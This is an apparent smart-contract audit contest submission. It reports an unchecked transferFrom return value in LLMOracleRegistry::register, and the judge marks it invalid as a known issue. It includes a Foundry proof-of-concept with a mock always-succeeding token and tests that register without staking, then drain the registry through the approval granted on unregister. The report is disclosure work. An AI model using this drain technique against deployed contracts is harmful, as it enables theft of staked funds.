Dria
Swan
NFTHardhat
21,000 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

Unchecked return value in `LLMOracleRegistry::register` Lead to Unauthorized Registry and Loss of Fund

0xbz

Summary

`LLMOracleRegistry` allows users to register as oracles without actually staking tokens (though not intended) and subsequently withdraw tokens they never deposited. This potentially draining the contract of all its tokens or creating large amounts of unauthorized token approvals.

Vulnerability Details

Root Cause

The register function fails to properly validate the success of token transfers:

https://github.com/Cyfrin/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/llm/LLMOracleRegistry.sol#L94

token.transferFrom(msg.sender, address(this), amount);

The boolean return value of transferFrom is not checked, allowing the function to proceed even if the transfer fails.

Exploit Chain

  1. User calls register() with a token that fails silently

  2. Contract records the stake in registrations without actually receiving tokens

  3. User calls unregister()

  4. Contract approves the user to spend tokens it doesn't actually possess:

    https://github.com/Cyfrin/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/llm/LLMOracleRegistry.sol#L117

Impact

  1. Registering without staking if token transfer fails and then unregistering to gain token approvals.

  2. **The user **can drain the contract funds since the contract approves the user to spend them.

  3. The user can register as a Validator or a Generator thus allowing them to bypass the modifier onlyRegistered in LLMOracleCoodinator

onlyRegistered`POC

  • the poc is written in foundry so you need to install foundry

  • run curl -L https://foundry.paradigm.xyz | bash

  • then foundryup

  • since this is a hardhat base project you might want to run this in the directory forge init --force

  • then save the below code into YOURTEST.t.solfile

  • then run forge test --match-path YOUR-PATH -vvvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
import "forge-std/Test.sol";
import "../contracts/llm/LLMOracleRegistry.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
contract SilentFailingToken is ERC20 {
constructor() ERC20("Silent Fail", "FAIL") {}
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
​
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
return true; // Silent failure - returns true but doesn't transfer
}
​
function transfer(address to, uint256 amount) public override returns (bool) {
return true; // Silent failure - returns true but doesn't transfer
}
}
​
contract LLMOracleRegistryTest is Test {
LLMOracleRegistry public registry;
LLMOracleRegistry public implementation;
SilentFailingToken public silentToken;
address public user1;
address public user2;
uint256 public constant GENERATOR_STAKE = 1000e18;
uint256 public constant VALIDATOR_STAKE = 500e18;
​
function setUp() public {
// Deploy token
silentToken = new SilentFailingToken();
​
// Setup user
user1 = makeAddr("user1");
vm.deal(user1, 100 ether);
​
// Mint tokens to user
silentToken.mint(user1, GENERATOR_STAKE);
}
​
function deployProxy() public returns (LLMOracleRegistry) {
implementation = new LLMOracleRegistry();
bytes memory initData = abi.encodeWithSelector(
LLMOracleRegistry.initialize.selector,
GENERATOR_STAKE,
VALIDATOR_STAKE,
address(silentToken)
);
​
ERC1967Proxy proxy = new ERC1967Proxy(
address(implementation),
initData
);
​
return LLMOracleRegistry(address(proxy));
}
​
function testSilentTokenVulnerability() public {
// Deploy registry with silent failing token
registry = deployProxy();
​
// Initial state checks
uint256 initialUserBalance = silentToken.balanceOf(user1);
assertEq(initialUserBalance, GENERATOR_STAKE);
assertEq(silentToken.balanceOf(address(registry)), 0);
​
vm.startPrank(user1);
​
// Approve tokens
silentToken.approve(address(registry), GENERATOR_STAKE);
​
// Register as Generator
registry.register(LLMOracleKind.Generator);
​
// @Audit #1: User is registered despite failed transfer
assertTrue(registry.isRegistered(user1, LLMOracleKind.Generator));
​
// @Audit #2: Registry has no tokens despite successful registration
assertEq(silentToken.balanceOf(address(registry)), 0);
​
// @Audit #3: User's balance hasn't changed
assertEq(silentToken.balanceOf(user1), initialUserBalance);
​
// Unregister
registry.unregister(LLMOracleKind.Generator);
​
// @Audit #4: User can unregister even though registry has no tokens
assertFalse(registry.isRegistered(user1, LLMOracleKind.Generator));
assertEq(silentToken.balanceOf(user1), initialUserBalance);
​
vm.stopPrank();
}
function testDrainRegistryVulnerability() public {
registry = deployProxy();
// Pre-fund the registry with tokens
silentToken.mint(address(registry), 1000e18);
vm.startPrank(user1);
// Register with silent failing transfer
silentToken.approve(address(registry), GENERATOR_STAKE);
registry.register(LLMOracleKind.Generator);
// User never transferred tokens but gets registered
assertTrue(registry.isRegistered(user1, LLMOracleKind.Generator));
// Unregister - this will approve user1 to spend tokens
registry.unregister(LLMOracleKind.Generator);
// Check the approval
uint256 allowance = silentToken.allowance(address(registry), user1);
assertEq(allowance, GENERATOR_STAKE);
// User can now transfer registry's tokens to themselves
silentToken.transferFrom(address(registry), user1, GENERATOR_STAKE);
// User has drained tokens they never staked
assertEq(silentToken.balanceOf(user1), GENERATOR_STAKE);
vm.stopPrank();
}
}

Tools Used

Manual Review

Recommendations

  • Validate the return value

  • Check whether the contract recieves the amount

​
(bool success) = token.transferFrom(msg.sender, address(this), amount);
require(success, "Token transfer failed");

```

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[KNOWN] - Low-35 Unsafe use of transfer()/transferFrom() with IERC20

Appeal created

0xbz Submitter
about 1 year ago
0xbz Submitter
about 1 year ago
inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[KNOWN] - Low-35 Unsafe use of transfer()/transferFrom() with IERC20

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.